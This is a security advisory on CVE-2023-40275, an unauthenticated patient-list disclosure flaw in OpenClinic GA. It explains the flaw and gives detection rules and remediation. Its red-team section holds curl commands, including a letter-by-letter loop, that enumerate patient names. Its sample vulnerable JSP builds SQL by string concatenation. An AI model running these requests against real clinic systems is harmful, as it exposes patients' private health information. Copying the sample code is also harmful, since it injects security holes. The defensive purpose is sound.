CVE-2023-40275

Executive Summary

CVE-2023-40275 is an information disclosure vulnerability in OpenClinic GA version 5.247.01. The flaw resides in the _common/search/searchByAjax/patientslistShow.jsp endpoint, which allows unauthenticated remote attackers to retrieve patient lists by sending crafted queries such as findFirstname=. This exposure of patient data violates healthcare data privacy regulations (e.g., HIPAA, GDPR) and can lead to identity theft, targeted phishing, or further exploitation of the medical system.

The vulnerability has a CVSS v3.1 base score of 5.3 (Medium) due to low attack complexity, no privileges required, and network-based exploitation, but only low confidentiality impact. No patch has been officially released as of the latest analysis.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone Java-based web application (OpenClinic GA) deployed on Apache Tomcat or similar servlet containers.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): Low (L) – Only patient list metadata is exposed, not full records.
• Integrity (I): None (N) – No data modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Medium. While the confidentiality impact is low, the exposure of patient lists can be a stepping stone for social engineering or targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic case of Insecure Direct Object Reference (IDOR) combined with lack of authentication. The JSP endpoint patientslistShow.jsp accepts a findFirstname parameter and returns a list of patients matching that first name without verifying the user's identity or authorization.

Root Cause: The application fails to enforce access controls on the search functionality. The endpoint is intended for internal use (e.g., by authenticated staff) but is exposed to the public without any session validation.

Attack Vector: An attacker sends an HTTP GET request to:

http://target/openclinic/_common/search/searchByAjax/patientslistShow.jsp?findFirstname=a

This returns a JSON or HTML list of patients whose first names start with "a". By iterating through letters or using wildcards, the attacker can enumerate the entire patient database.

Impact: Exposure of patient names, potentially including other fields like last names, dates of birth, or medical record numbers, depending on the JSP implementation.

Vulnerable vs. Patched Code

Vulnerable Code (OpenClinic GA 5.247.01): The JSP file patientslistShow.jsp likely contains code similar to:

<%
String findFirstname = request.getParameter("findFirstname");
// No authentication check
String query = "SELECT * FROM patients WHERE firstname LIKE '%" + findFirstname + "%'";
// Execute query and return results
%>

Patched Code (Hypothetical): A secure version would include authentication and authorization checks:

<%
// Check if user is authenticated
if (session.getAttribute("user") == null) {
    response.sendError(HttpServletResponse.SC_UNAUTHORIZED);
    return;
}
// Check if user has permission to view patient lists
if (!user.hasPermission("view_patient_list")) {
    response.sendError(HttpServletResponse.SC_FORBIDDEN);
    return;
}
String findFirstname = request.getParameter("findFirstname");
// Use parameterized query to prevent SQL injection
String query = "SELECT * FROM patients WHERE firstname LIKE ?";
PreparedStatement pstmt = connection.prepareStatement(query);
pstmt.setString(1, "%" + findFirstname + "%");
// Execute and return results
%>

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of OpenClinic GA 5.247.01 (e.g., on Apache Tomcat).
• Network access to the target.

Exploitation Steps:

1. Enumerate patient lists:

   curl -v "http://target/openclinic/_common/search/searchByAjax/patientslistShow.jsp?findFirstname=a"
   

2. Iterate through letters:

   for letter in {a..z}; do
       curl -s "http://target/openclinic/_common/search/searchByAjax/patientslistShow.jsp?findFirstname=$letter"
   done
   

3. Extract data: The response may be in JSON or HTML. Parse it to collect patient names.

Expected Output: A list of patient names (e.g., "Alice Johnson", "Bob Smith") without authentication.

Blue Team (Detection & Response)

Detection:

• Monitor web server logs for repeated requests to /openclinic/_common/search/searchByAjax/patientslistShow.jsp with varying findFirstname parameters.
• Look for patterns like sequential letters or wildcard characters.

Response:

1. Block the endpoint at the WAF or reverse proxy.
2. Implement authentication checks on the JSP.
3. Review access logs for any data exfiltration.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /openclinic/_common/search/searchByAjax/patientslistShow.jsp with findFirstname parameter.
  • Unusual traffic patterns from a single IP address hitting the endpoint repeatedly.
• File IOCs:
  • Log entries in Tomcat access logs (access_log) showing the vulnerable endpoint.
• Behavioral IOCs:
  • Unauthorized enumeration of patient names.

Detection Engineering

YARA Rule

rule Detect_OpenClinic_Patient_Enumeration {
    meta:
        description = "Detects attempts to exploit CVE-2023-40275 by enumerating patient lists"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2023-40275"
    strings:
        $jsp_path = "/_common/search/searchByAjax/patientslistShow.jsp"
        $param = "findFirstname="
    condition:
        $jsp_path and $param
}

Sigma Rule

title: OpenClinic GA Patient List Enumeration
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2023-40275 by enumerating patient lists via unauthenticated search
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: "/_common/search/searchByAjax/patientslistShow.jsp?findFirstname="
    condition: selection
falsepositives:
    - Legitimate internal staff using the search (should be authenticated)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2023-40275 OpenClinic GA Patient List Enumeration"; flow:to_server,established; content:"/_common/search/searchByAjax/patientslistShow.jsp"; http_uri; content:"findFirstname="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Restrict access: Use a reverse proxy (e.g., Nginx, Apache) to block external access to the /openclinic/_common/search/searchByAjax/ path.

   location /openclinic/_common/search/searchByAjax/ {
       deny all;
       return 403;
   }
   

2. Implement authentication: Modify the JSP to require a valid session before processing requests.
3. Apply input validation: Ensure the findFirstname parameter is sanitized and limited to prevent enumeration.

Long-Term Fix:

• Upgrade to a patched version of OpenClinic GA when available.
• Conduct a security audit of all JSP endpoints for missing authentication.

Workaround:

• If patching is not possible, disable the search functionality entirely by removing or renaming the JSP file.

Valters IT